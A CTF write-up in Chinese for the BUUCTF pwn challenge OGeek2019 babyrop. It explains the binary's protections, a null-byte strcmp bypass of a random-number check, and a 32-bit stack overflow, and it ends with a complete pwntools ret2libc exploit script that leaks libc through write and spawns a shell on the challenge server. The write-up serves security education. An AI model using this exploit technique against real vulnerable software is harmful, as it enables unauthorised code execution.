BUUCTF PWN OGeek2019 babyrop

1.checksec+运行

32位/ NX保护开启/

还有Full RELRO

2.IDA进行中

1.main函数

不明白的函数,不知道的语句,搜索

linux中提供了 /dev/urandom 和 /dev/random 两个来提供随机数

先来了解了解熵是什么

熵:系统状态的混乱程度

linux是根据系统的熵池来产生随机数的。

熵池就是系统当前的环境噪音,环境噪音的来源很多,键盘的输入、鼠标的移动、内存的使用、文件的使用量、进程数量等等。

假如系统的熵不够大,则系统产生的随机数随机效果就不是很好,更易被猜出来.

1./dev/random的random pool依赖于系统中断,因此在系统的中断数不足时,/dev/random设备会一直封锁,尝试读取的进程就会进入等待状态,直到系统的中断数充分够用,/dev/random 是真随机数生成器,它会消耗熵值来产生随机数,同时在熵耗尽的情况下会阻塞,直到有新的熵生成

2./dev/random设备可以保证数据的随机性。/dev/urandom不依赖系统的中断,也就不会造成进程忙等待,但是数据的随机性也不高,/dev/urandom 是伪随机数生成器,它根据一个初始的随机种子(这个种子来源就是熵池中的熵)来产生一系列的伪随机数,而并不会在熵耗尽的情况下阻塞。

 若在系统启动阶段使用 "/dev/urandom" 则可能存在熵池中还不存在任何熵的情况,

这时用 ''/dev/urandom'' 产生的随机数是可预测的
这样的话,除非要在启动启动阶段产生随机数,否则绝大多数情况下还是使用 /dev/urandom 来产生随机数,这样才不会引起程序莫名的挂起。

fd:打开生成随机数的文件

if ( fd > 0 )将buf读入
    read(fd, &buf, 4u);

接下来看看

v2 = sub_804871F(buf);
  sub_80487D0(v2);

2.sub_80487D0(char a1)

read函数栈溢出 

如果a1==127

将0xc8u读入,否则将a1读入

跟进buf看看大小

 

offset=0xe7+4 

 3.sub_804871F(int a1)

strcmp函数可用“\x00”来截断,进而覆盖下面的v5-----[buf]变量,随后让第二个read函数读入的“a1”足够覆盖栈,构造ROP 

payload=b'\x00'+b'\xff'*7
0xff=255采用最大的

1. 浅谈memset函数

定义变量时一定要进行初始化,尤其是数组和结构体这种占用内存大的数据结构

memset() 函数可以说是初始化内存的“万能函数”,初始化新申请的内存,直接操作内存空间

mem(memory)函数原型

# include <string.h>
void *memset(void *s, int c, unsigned long n);

2.浅谈strncmp函数 

函数原型

int strncmp(const char *str1, const char *str2, size_t n)

把 str1 和 str2 进行比较,最多比较前 n 个字节

参数:
str1 -- 要进行比较的第一个字符串。
str2 -- 要进行比较的第二个字符串。
n --    要比较的最大字符数。
返回值:
如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str1 大于 str2。
如果返回值 = 0,则表示 str1 等于 str2。

 将我们输入的值 和 产生的随机数  进行比较

3.接下来常规的ret2libc3进行栈溢出

无system及binsh

4.脚本

from pwn import*
from LibcSearcher import LibcSearcher
#p=process('./11babyrop')
p=remote("node4.buuoj.cn",25479)
elf = ELF('./11babyrop')

write_plt=elf.plt['write']
write_got=elf.got['write']

main_addr=0x8048825

payload1=b'\x00'+b'\xff'*7
p.sendline(payload1)
p.recvuntil('Correct\n')

#泄露read的got地址
payload=b'a'*0xe7+b'a'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(0x8)
p.sendline(payload)

write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
print(hex(write_addr))

libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

p.sendline(payload1)
p.recvuntil('Correct\n')

payload=b'a'*0xe7+b'a'*0x4
payload+=p32(system_addr)+b'aaaa'+p32(bin_sh_addr)
p.sendline(payload)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值